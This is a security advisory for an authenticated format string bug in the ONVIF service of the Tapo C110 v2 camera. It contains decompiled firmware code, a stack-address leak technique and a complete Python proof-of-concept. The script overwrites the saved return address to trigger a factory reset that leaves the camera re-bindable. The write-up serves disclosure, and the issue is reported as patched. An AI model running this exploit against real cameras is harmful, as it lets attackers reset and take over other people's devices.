ID CVE-2026-6250
Summary An authenticated format string vulnerability exists in the ONVIF service of the Tapo C110 v2 due to improper handling of user-controlled input.
Location /bin/main: 0x000953e0(CreateUsers)
Type CWE-134: Use of Externally-Controlled Format String
CVSS(4.0) 7.0(/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)
Affected Version < 1.5.4 Build 260428 Rel.64344n

Background

ONVIF (Open Network Video Interface Forum) is a standard protocol used for IP camera device management. The Tapo C110 v2 provides the ONVIF service on TCP port 2020 and supports standard WS-Security-based user management functions such as GetUsers, CreateUsers, and DeleteUsers.

The Tapo C110 v2 enforces a separation of privileges between ONVIF users and the Tapo app administrator. Sensitive functions such as factory reset are unavailable to ONVIF users and can only be used by the Tapo app administrator through a proprietary securePassthrough protocol (HTTPS-based encrypted JSON).

However, due to a format string vulnerability present in the CreateUsers request handler, the return address stored on the stack can be overwritten. This allows the execution flow to be manipulated into jumping to the factory reset routine.

Technical Details

int tds_soap_tag_handle_add()
{
  soap_tag_handle_add("tds:GetServices", soap_tds_get_services_handle);
  soap_tag_handle_add("tds:GetServiceCapabilities", sub_92130);
  soap_tag_handle_add("tds:GetDeviceInformation", sub_95D68);
  soap_tag_handle_add("tds:GetSystemDateAndTime", soap_tds_get_sys_time_handle);
  soap_tag_handle_add("tds:GetScopes", get_tds_scopes);
  soap_tag_handle_add("tds:SetScopes", sub_95BD4);
  soap_tag_handle_add("tds:AddScopes", soap_tds_add_scopes_handle);
  soap_tag_handle_add("tds:RemoveScopes", soap_tds_rm_scopes_handle);
  soap_tag_handle_add("tds:GetDiscoveryMode", sub_96C24);
  soap_tag_handle_add("tds:SetDiscoveryMode", soap_tds_set_discv_mode_handle);
  soap_tag_handle_add("tds:GetUsers", sub_967EC);
  soap_tag_handle_add("tds:CreateUsers", sub_95298); // [1]
  soap_tag_handle_add("tds:DeleteUsers", sub_9504C);
  soap_tag_handle_add("tds:SetUser", sub_94C4C);
  soap_tag_handle_add("tds:GetWsdlUrl", sub_9679C);
  soap_tag_handle_add("tds:GetCapabilities", soap_tds_get_capabilities_handle);
  soap_tag_handle_add("tds:GetHostname", soap_tds_get_hostname_handle);
  soap_tag_handle_add("tds:GetDNS", sub_9674C);
  soap_tag_handle_add("tds:GetNTP", sub_966FC);
  soap_tag_handle_add("tds:GetNetworkInterfaces", sub_966AC);
  soap_tag_handle_add("tds:GetNetworkProtocols", soap_tds_get_network_proto_handle);
  soap_tag_handle_add("tds:GetNetworkDefaultGateway", sub_9665C);
  soap_tag_handle_add("tds:GetCertificates", sub_9660C);
  soap_tag_handle_add("tds:GetCertificatesStatus", sub_965BC);
  soap_tag_handle_add("tds:GetDot11Capabilities", sub_9656C);
  soap_tag_handle_add("tds:GetDot11Status", sub_9651C);
  return soap_tag_handle_add("tds:ScanAvailableDot11Networks", sub_964CC);
}

[1] The CreateUsers request processing in the ONVIF service is handled by the sub_95298 function in the /bin/main binary.

int __fastcall CreateUsers(_DWORD *ctx) // sub_95298
{
  int user_count;
  unsigned int body_start;
  int body_end;
  int body_len;
  int parse_state;
  int tag_delim;
  OnvifUser *user_rec;
  
  unsigned int cursor;
  char elem_buf[128];
  _WORD user_pool[1570];
  ...
  if ( ctx )
  {
    user_count = soap_usernametoken_auth((int)ctx);
    if ( !user_count )
    {
      memset(user_pool, 0, 0xC40u);
      body_start = ctx[730];
      if ( body_start && (body_end = ctx[731]) != 0 )
      {
        body_len = body_end - body_start;
        if ( (int)(body_end - body_start) < 0 )
        {
LABEL_67:
          create_idx = 0;
        }
        else
        {
          cursor = ctx[730];
          ...
          while ( (int)(cursor - body_start) < body_len )
          {
            tag_delim = soap_get_element_name(body_start, body_len, &cursor, elem_buf, 128); // [1]
            if ( tag_delim == -1 )
              goto LABEL_67;
            if ( elem_buf[0] != '/' )
            {
              if ( soap_match_element(elem_buf, "User") == (char *)1 )
              {
                parse_state = 1;
              }
              else if ( soap_match_element(elem_buf, "Username") == (char *)1 ) // [2]
              {
                if ( !parse_state )
                  goto LABEL_67;
                parse_state = soap_parse_element_value(body_start, body_len, &cursor, tag_delim, elem_buf, 128); // [3]
                if ( parse_state )
                  goto LABEL_67;
                user_rec = (OnvifUser *)&user_pool[49 * user_count++];
                snprintf(user_rec->username, 0x80u, elem_buf); // [4] format string bug
              }
      ...
    }
  }
  return -1;
}

[1] The sub_95298 handler parses the SOAP (Simple Object Access Protocol) body field by field. [2] During the SOAP field parsing, if it matches <Username>, [3] the field value is copied into the local buffer elem_buf, and then [4] elem_buf is passed as the third argument (the format string) to the snprintf function.

Therefore, if an attacker includes format specifiers such as %x, %c, or %n, the uClibc snprintf function will interpret them as actual format strings, enabling arbitrary stack memory reading and writing. For stack memory writing, two characteristics of uClibc must be taken into account.

First, positional arguments (%N$) are not properly implemented. In uClibc, the %N$ format works correctly only when N is 1. Consequently, to manipulate the return address, the attacker must repeatedly use the %c format specifier to consume arguments one by one until reaching the stack offset where the return address resides. Second, %n and %hn are supported.

Exploitation Overview

❯ checksec main
    Arch:       arm-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
Attacker                            Tapo C110 v2
   |                                     |
   |      CreateUsers("ZZ%08x.ZZ")       |
   |------------------------------------>|
   |                                     |
   |             GetUsers()              |
   |------------------------------------>|
   |                                     |
   |       Username=ZZbeb49dd0.ZZ        |
   |<------------------------------------|
   |                                     |
   |         calculate saved LR          |
   |                                     |
   |        CreateUsers(payload)         |
   |------------------------------------>|
   |                                     |
   |          reboot triggered           |
   |                                     |

To overwrite the saved LR where the return address is stored using the format string bug, a runtime stack address must first be acquired. The following is the disassembly at the snprintf call site:

953ca  ADD.W   R3, SP, #0x6A8   ; [1] R3 = &user_pool
953ce  MOVS    R0, #0x62        ; sizeof(user_pool) = 98
953d0  ADD.W   R11, R6, #1      ; R11 = user_count + 1
953d4  MOVS    R1, #0x80        ; maxlen = 0x80
953d6  MLA     R0, R0, R6, R3   ; R0 = &user_pool[user_count]
953da  MOV     R2, R5           ; format = elem_buf (Username)
953dc  MOV     R6, R11          ; user_count++
953de  ADDS    R0, #0x20        ; R0 = &user_rec->username (+0x20)
953e0  BLX     snprintf

According to the ARM AAPCS calling convention, the first variadic argument of snprintf(dst, maxlen, fmt, ...) is stored in the R3 register. [1] Since R3 = SP + 0x6A8, a single %08x can be used to leak the stack address of the first variadic argument. From there, reverse calculation can reveal the stack address where the return address is saved.

To achieve this stack address leak, the attacker must use a CreateUsers request to create an account with the following username:

ZZ%08x.ZZ

After creating the account, a GetUsers request can be utilized to view the username, leaking the stack address in a format similar to the following:

ZZbeb49dd0.ZZ

Looking at the stack frame of the sub_95298 function, the saved LR is located at sp+0x130C.

__saved_registers : sp + 0x12EC   (R4~R11, LR)
saved LR slot     : sp + 0x130C
leaked R3         : sp + 0x6A8
saved LR          : leaked R3 + 0xC64

This indicates that the saved LR is positioned at a +0xC64 offset from the leaked R3 stack address.
The Tapo C110 v2 performs the device factory reset by calling the sub_4C918 function. This function accepts no arguments, allowing for a safe invocation regardless of register values. Therefore, in this write-up, the return address will be manipulated to point to sub_4C918 to trigger a forced device reset.

Tapo C110 v2 Reset Routine

The device initialization routine of the sub_4C918 function is as follows:

int sub_4C918() 
{
  // activating reset_flag -> rebooting
  int result; // r0
  int v1; // r0
  int v2; // r0
  int result = sub_4C6AC() + 1; // [1] write the multi user configuration
  if ( result )
  {
    if ( !access("/tmp/usr_def_audio/cnsl_dbg", 0) )
      remove("/tmp/usr_def_audio/cnsl_dbg");
    if ( !access("/hooks/post_reset_hook.sh", 1) )
      system("/hooks/post_reset_hook.sh");
    int v1 = sub_4C880("/tmp/usr_def_audio");
    int v2 = sub_4C8FC(v1);
    return j_reboot_wrapper(v2); // [2] reboot
  }
  return result;
}

int sub_4C6AC()
{
  int v0; // r2
  int v1; // r3
  char v3[256]; // [sp+10h] [bp-9A8h] BYREF
  char v4[256]; // [sp+110h] [bp-8A8h] BYREF
  char dest[352]; // [sp+210h] [bp-7A8h] BYREF
  cloud_config_bind cloud_config_bind; // [sp+370h] [bp-648h] BYREF
  char s[512]; // [sp+4FCh] [bp-4BCh] BYREF
  char v8[700]; // [sp+6FCh] [bp-2BCh] BYREF

  memset(s, 0, sizeof(s));
  memset(dest, 0, sizeof(dest));
  memset(v3, 0, sizeof(v3));
  memset(v8, 0, 0x2B9u);
  ds_read((int)"/device_info/basic_info", v8, 0x2B9u);
  snprintf(v3, 0x100u, "{\"label_info_1\":{\"text\":\"%s\"}}", &v8[274]);
  strcpy(dest, "OSD");
  strcpy(&dest[32], "label_info");
  *(_DWORD *)&dest[80] = v3;
  *(_DWORD *)&dest[84] = strlen(v3) + 1;
  memset(v4, 0, sizeof(v4));
  snprintf(v4, 0x100u, "{\"dhcp\":{\"hostname\":\"%s\"}}", &v8[274]);
  strcpy(&dest[88], "protocol");
  strcpy(&dest[120], "proto");
  *(_DWORD *)&dest[168] = v4;
  *(_DWORD *)&dest[172] = strlen(v4) + 1;
  memset(&cloud_config_bind, 0, sizeof(cloud_config_bind));
  ds_read((int)"/cloud_config/bind", &cloud_config_bind, 0x18Cu);
  snprintf(
    s,
    0x200u,
    "{\"bind\":{\"username\":\"%s\",\"password\":\"%s\",\"account_id\":\"%s\",\"bind_code\":\"%s\",\"unbind_authority\":\""
    "%d\",\"reset_flag\":\"1\"}}",
    cloud_config_bind.username,
    cloud_config_bind.password,
    cloud_config_bind.account_id,
    cloud_config_bind.bind_code,
    cloud_config_bind.unbind_authority);
  strcpy(&dest[176], "cloud_config");
  strcpy(&dest[208], "router_post");
  *(_DWORD *)&dest[256] = s;
  *(_DWORD *)&dest[260] = strlen(s) + 1;
  return -(ds_save_multi_usr_cfg((int)dest, 3, v0, v1) != 0);
}
struct cloud_config_bind  
{
    char username[65];    
    char password[33];    
    char account_id[33];  
    char bind_code[257];  
    int  reset_flag;      
    int  unbind_authority;
};

The sub_4C918 function invokes the sub_4C6AC function to [1] permanently save the reset_flag field as “1” within the DS (DataStore) section /cloud_config/bind, and then [2] reboots the device.

tdpd_listen_thread (0x517C8)
  └ recvfrom() -> tdpd_handle / sub_50AEC (0x50AEC)
       ├ tdpd_check_recv_packet (verify version/reserved/checksum/flag)
       └ switch(opcode):
       │
       ├─ opcode 1  DISCOVERY_APP   -> tdpd_get_camera_data_before_encrypt (0x4FE60)
       ├─ opcode 2  DISCOVERY_HUB   -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)
       └─ opcode 4-8 DISCOVERY_CAM  -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)

Following the boot process, the Tapo C110 v2 utilizes the TDP (TP-Link Discovery Protocol, UDP/20002) to handle app, hub, and camera connections.

int __fastcall tdpd_get_camera_data_before_encrypt(int a1, int a2)
{
  ...
  if ( a1 && a2 )
  {
    v7 = sub_F6878(v4, v5, v6, 0);
    if ( !v7 )
    {
      msg_debug(0, 16, 3, (int)"tdpd_get_encrypt_info_v2", 881, (int)"[TDPD][Error] failed to create encrypt_info");
      return -1;
    }
    v8 = jso_obj_get(a1, "params");
    ...
    string_origin = (const char *)jso_obj_get_string_origin(v8, "rsa_key");
    ...
    v11 = strlen(string_origin);
    v12 = v11;
    if ( v11 )
    {
      ...
      if ( sub_F9310(string_origin, &unk_2CB59C, 32, s, 512, &n) >= 0 )
      {
        ...
        ds_read((int)"/cloud_config/bind", &cloud_config_bind, 396);
        ds_read((int)"/cloud_config/extra_bind", cloud_config_extra_bind, 104);
        if ( !cloud_config_bind.username[0] || (v23 = cloud_config_bind.reset_flag) != 0 ) // [1]
        {
          if ( !cloud_config_extra_bind[0] )
          {
            v36 = &byte_207F0B; // null
LABEL_54:
            jso_add_string(v35, "owner", v36); // [2]
            ...
          }
          memset(v55, 0, sizeof(v55));
          mbedtls_md5_initalization((int)v55);
          v30 = strlen(cloud_config_extra_bind);
          j_j_mbedtls_md5_update_ret(v55, cloud_config_extra_bind, v30);
          j_j_mbedtls_md5_finish_ret(v55, v52);
          v31 = -2;
          do
          {
            v32 = (char *)&v53[v29];
            v33 = v31 * v29 + 33;
            v48 = v31;
            v34 = (unsigned __int8)v52[v29++];
            snprintf(v32, v33, "%02X", v34);
            v31 = v48;
          }
          while ( v29 != 16 );
        }
        else
        {
          memset(v55, 0, sizeof(v55));
          mbedtls_md5_initalization((int)v55);
          v24 = strlen(cloud_config_bind.username);
          j_j_mbedtls_md5_update_ret(v55, &cloud_config_bind, v24);
          j_j_mbedtls_md5_finish_ret(v55, v52);
          v25 = -2;
          do
          {
            v26 = (char *)&v53[v23];
            v27 = v25 * v23 + 33;
            v47 = v25;
            v28 = (unsigned __int8)v52[v23++];
            snprintf(v26, v27, "%02X", v28);
            v25 = v47;
          }
          while ( v23 != 16 );
        }
        v35 = v20;
        v36 = (const char *)v53;
        goto LABEL_54;
        ...
}

When handling the DISCOVERY_APP opcode for app pairing, if an incoming rsa_key value is processed, the system checks [1] whether the username field exists within the /cloud_config/bind section and whether reset_flag is active. [2] If reset_flag is enabled at this point, the owner string is left completely empty.

Through this code execution flow, the Tapo C110 v2 camera loses its assigned owner and becomes exposed in a re-bindable state, executing a logical factory reset.

Payload Construction

In ARM Thumb mode, the least significant bit of a function address must always be 1; thus, the final target address to overwrite the saved LR becomes 0x0004C919.

Furthermore, considering that outputting an excessive amount of data during exploitation might cause errors, the payload is structured to overwrite the return address in two separate 16-bit phases using the %hn format specifier.

hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
lo = RESET_ADDR & 0xFFFF        # 0xC919

The entire payload must conform to the 127-byte length restriction for the Username. Since the payload is supplied as the Username value and transmitted inside XML, it must not include the following characters: 0x00 (NULL), 0x25 (%), 0x26 (&), 0x3C (<), and 0x3E (>).

Proof-of-Concept

#!/usr/bin/env python3
import base64, datetime, hashlib, os, re, socket, struct, time
import requests
TARGET = "" # target IP address
PORT = 2020
USER = "" # normal user name
PASS = "" # normal user password
RESET_ADDR = 0x4c919
def url(h):
    return f"http://{h}:{PORT}/onvif/device_service"
def wsse(user, pw):
    nonce = os.urandom(16)
    created = datetime.datetime.now(datetime.UTC).strftime("%Y-%m-%dT%H:%M:%SZ")
    digest = base64.b64encode(
        hashlib.sha1(nonce + created.encode() + pw.encode()).digest()
    ).decode()
    return f"""<Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
      <UsernameToken>
        <Username>{user}</Username>
        <Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">{digest}</Password>
        <Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">{base64.b64encode(nonce).decode()}</Nonce>
        <Created xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">{created}</Created>
      </UsernameToken></Security>"""
def soap(host, user, pw, body):
    xml = f"""<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
  xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
  xmlns:tt="http://www.onvif.org/ver10/schema">
  <s:Header>{wsse(user, pw)}</s:Header>
  <s:Body>{body}</s:Body>
</s:Envelope>"""
    try:
        r = requests.post(url(host), data=xml.encode(),
                          headers={"Content-Type": "application/soap+xml"}, timeout=5)
        return r.status_code, r.text
    except requests.exceptions.ConnectionError:
        return "CONN_ERR", ""
    except requests.exceptions.Timeout:
        return "TIMEOUT", ""
def create_raw(host, user, pw, username_bytes):
    hdr = wsse(user, pw).encode()
    data = (
        b'<?xml version="1.0" encoding="utf-8"?>'
        b'<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"'
        b' xmlns:tds="http://www.onvif.org/ver10/device/wsdl"'
        b' xmlns:tt="http://www.onvif.org/ver10/schema">'
        b'<s:Header>' + hdr + b'</s:Header>'
        b'<s:Body><tds:CreateUsers><tds:User>'
        b'<tt:Username>' + username_bytes +
        b'</tt:Username><tt:Password>safe</tt:Password>'
        b'<tt:UserLevel>User</tt:UserLevel>'
        b'</tds:User></tds:CreateUsers></s:Body></s:Envelope>'
    )
    try:
        r = requests.post(url(host), data=data,
                          headers={"Content-Type": "application/soap+xml"}, timeout=5)
        return r.status_code
    except requests.exceptions.ConnectionError:
        return "CONN_ERR"
    except requests.exceptions.Timeout:
        return "TIMEOUT"
def alive(h):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((h, PORT))
        s.close()
        return True
    except OSError:
        return False
def main():
    h, u, p = TARGET, USER, PASS
    hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
    lo = RESET_ADDR & 0xFFFF        # 0xC919
    code, resp = soap(h, u, p, "<tds:GetUsers/>")
    if code != 200:
        print(f"GetUsers error: {code}"); return
    before = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
    code, _ = soap(h, u, p,
        '<tds:CreateUsers><tds:User>'
        '<tt:Username>ZZ%08x.ZZ</tt:Username>'
        '<tt:Password>safe</tt:Password>'
        '<tt:UserLevel>User</tt:UserLevel>'
        '</tds:User></tds:CreateUsers>')
    if code != 200:
        print(f"leak error: {code}"); return
    time.sleep(0.5)
    code, resp = soap(h, u, p, "<tds:GetUsers/>")
    after = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
    new = after - before
    if not new:
        print("no new user"); return
    leaked = list(new)[0]
    m = re.search(r'ZZ([0-9a-fA-F]+)\.ZZ', leaked)
    if not m:
        print(f"parsing stack address error: {leaked}"); return
    r3 = int(m.group(1), 16)
    lr_addr = r3 + 0xC64
    soap(h, u, p,
        f'<tds:DeleteUsers><tds:Username>{leaked}</tds:Username></tds:DeleteUsers>')
    addr_hi = struct.pack("<I", lr_addr + 2)# upper halfword location
    pad     = b'\x41\x41\x41\x41'           # filler (consumed by %W2c)
    addr_lo = struct.pack("<I", lr_addr)    # lower halfword location
    bad_bytes = {0x00, 0x25, 0x26, 0x3C, 0x3E}  # null, %, &, <, >
    for label, a in [("saved_lr+2", addr_hi), ("saved_lr", addr_lo)]:
        for b in a:
            if b in bad_bytes:
                print(f"{label}: byte 0x{b:02x} unsafe"); return
    LITERAL = 12# 3 × 4-byte fields (addr_hi + pad + addr_lo)
    ARGS    = 32# %c × 32
    # first %hn: count1 = W1 = hi - LITERAL - ARGS (mod 0x10000)
    W1 = hi - LITERAL - ARGS
    if W1 <= 0:
        W1 += 0x10000
    # second %hn: count2 = count1 + W2 = lo (mod 0x10000)
    W2 = (lo - hi) & 0xFFFF
    if W2 == 0:
        W2 = 0x10000
    fmt = addr_hi + pad + addr_lo
    fmt += f"%{W1}c".encode()
    fmt += b"%c" * 32
    fmt += b"%hn"
    fmt += f"%{W2}c".encode()
    fmt += b"%hn"
    if len(fmt) > 127:
        print(f"payload too long: {len(fmt)} > 127"); return
    code = create_raw(h, u, p, fmt)
    print("exploit!!!")
if __name__ == "__main__":
    main()

Demonstration

Timeline

  • 2026-02-27 - Discovered vulnerability.
  • 2026-03-01 - Reported vulnerability to TP-Link Inc.
  • 2026-03-03 - Recognized as a security vulnerability and started investigating.
  • 2026-06-12 - Patched in the stable version (Tapo C110(US)_V2.6_1.5.4 Build 260428).

Reference